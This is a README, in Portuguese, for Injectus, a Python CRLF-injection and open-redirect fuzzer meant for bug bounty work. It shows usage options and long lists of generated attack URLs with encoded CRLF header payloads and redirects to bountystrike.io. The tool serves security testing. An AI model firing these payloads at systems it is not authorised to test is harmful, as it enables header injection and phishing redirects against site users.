Injectus

Ferramenta Python simples que percorre uma lista de URLs testando payloads de CRLF e redirecionamento aberto.


    ▪   ▐ ▄  ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄• ▄▌.▄▄ ·
    ██ •█▌▐█  ·██▀▄.▀·▐█ ▌▪•██  █▪██▌▐█ ▀.
    ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪█▌▐█▌▄▀▀▀█▄
    ▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█▄█▌▐█▄▪▐█
    ▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀  ▀▀▀  ▀▀▀  ▀▀▀▀
               ~ BOUNTYSTRIKE ~

usage: Injectus [-h] [-f FILE] [-u URL] [-r] [-w WORKERS] [-t TIMEOUT]
                [-d DELAY] [-c] [-op]

CRLF and open redirect fuzzer. Crafted by @dubs3c.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  File containing URLs
  -u URL, --url URL     Single URL to test
  -r, --no-request      Only build attack list, do not perform any requests
  -w WORKERS, --workers WORKERS
                        Amount of asyncio workers, default is 10
  -t TIMEOUT, --timeout TIMEOUT
                        HTTP request timeout, default is 6 seconds
  -d DELAY, --delay DELAY
                        The delay between requests, default is 1 second
  -c, --crlf            Only perform crlf attacks
  -op, --openredirect   Only perform open redirect attacks

Motivação

Precisei de um scanner simples de CRLF/redirecionamento aberto que pudesse incluir no meu pipeline de bug bounty em https://github.com/BountyStrike/Bountystrike-sh. Não encontrei nenhuma ferramenta que atendesse às minhas necessidades, então criei o Injectus. É um pouco de experimento, para ver se funciona melhor que outras ferramentas.

Design

Se tivermos a seguinte URL:

https://dubell.io/?param1=value1&url=value2&param3=value3

Para ataques CRLF, o Injectus injetará cada payload uma vez no valor de um parâmetro, para cada n parâmetros. Por exemplo, o Injectus criará a seguinte lista com a URL acima:

https://dubell.io/?param1=%%0a0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0d%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%23%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30%61bounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%3f%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%u000abounty:strike&url=value2&param3=value3

https://dubell.io/?param1=value1&url=%%0a0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0d%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%23%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30%61bounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%3f%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%u000abounty:strike&param3=value3

https://dubell.io/?param1=value1&url=value2&param3=%%0a0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0d%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%23%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30%61bounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%3f%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%u000abounty:strike

Como você pode ver, cada payload CRLF é injetado no valor do primeiro parâmetro. Quando o loop termina, o Injectus injeta cada payload no segundo parâmetro, e assim por diante. Depois que todos os parâmetros forem injetados, a lista está completa.

Se não houver parâmetros de consulta, o Injectus simplesmente anexará cada payload à URL, assim:

https://dubell.io/some/path/%%0a0abounty:strike
https://dubell.io/some/path/%0abounty:strike
https://dubell.io/some/path/%0d%0abounty:strike
https://dubell.io/some/path/%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%25%30%61bounty:strike
https://dubell.io/some/path/%25%30abounty:strike
https://dubell.io/some/path/%250abounty:strike
https://dubell.io/some/path/%25250abounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%u000abounty:strike

Ao injetar payloads de redirecionamento aberto, o Injectus só injeta um payload se existir um parâmetro de consulta/caminho contendo uma palavra-chave típica de redirecionamento, ex.: url. Injetando na seguinte URL https://dubell.io/?param1=value1&url=dashboard&param3=value3:

https://dubell.io/?param1=value1&url=$2f%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2f$2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io//param3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=////bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=///bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=//bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/\x08ountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/http://bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=bountystrike.ioparam3=value3

A URL contém o parâmetro de consulta url, então o Injectus injetará os payloads nesse parâmetro.

Um exemplo ao usar parâmetros de caminho. A URL original é https://dubell.io/some/path/that/redirect/dashboard:

https://dubell.io/some/path/that/redirect/$2f%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2f$2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io//
https://dubell.io/some/path/that/redirect/////bountystrike.io
https://dubell.io/some/path/that/redirect////bountystrike.io
https://dubell.io/some/path/that/redirect///bountystrike.io
https://dubell.io/some/path/that/redirect//\x08ountystrike.io
https://dubell.io/some/path/that/redirect//bountystrike.io
https://dubell.io/some/path/that/redirect//http://bountystrike.io
https://dubell.io/some/path/that/redirect/bountystrike.io

Como antes, se nenhum parâmetro de consulta ou parâmetro de caminho for encontrado, o Injectus simplesmente anexará cada payload à URL:

https://dubell.io/$2f%2fbountystrike.io%2f%2f
https://dubell.io/%2f$2fbountystrike.io
https://dubell.io/%2fbountystrike.io%2f%2f
https://dubell.io/%2fbountystrike.io
https://dubell.io/%2fbountystrike.io//
https://dubell.io/////bountystrike.io
https://dubell.io////bountystrike.io
https://dubell.io///bountystrike.io
https://dubell.io//\\bountystrike.io
https://dubell.io//bountystrike.io
https://dubell.io//http://bountystrike.io
https://dubell.io/bountystrike.io

Instalação

pip3.7 install -r requirements.txt --user

Contribuição

Qualquer feedback ou ideia é bem-vindo! Quer melhorar algo? Crie um pull request!

Fork o repositório!
Crie sua branch de funcionalidade: git checkout -b my-new-feature
Configure as verificações de pré-commit: pre-commit install
Faça commit das suas alterações: git commit -am 'Add some feature'
Envie para a branch: git push origin my-new-feature
Submeta um pull request :D

Injectus

Mais Populares

Injectus

Motivação

Design

Instalação

Contribuição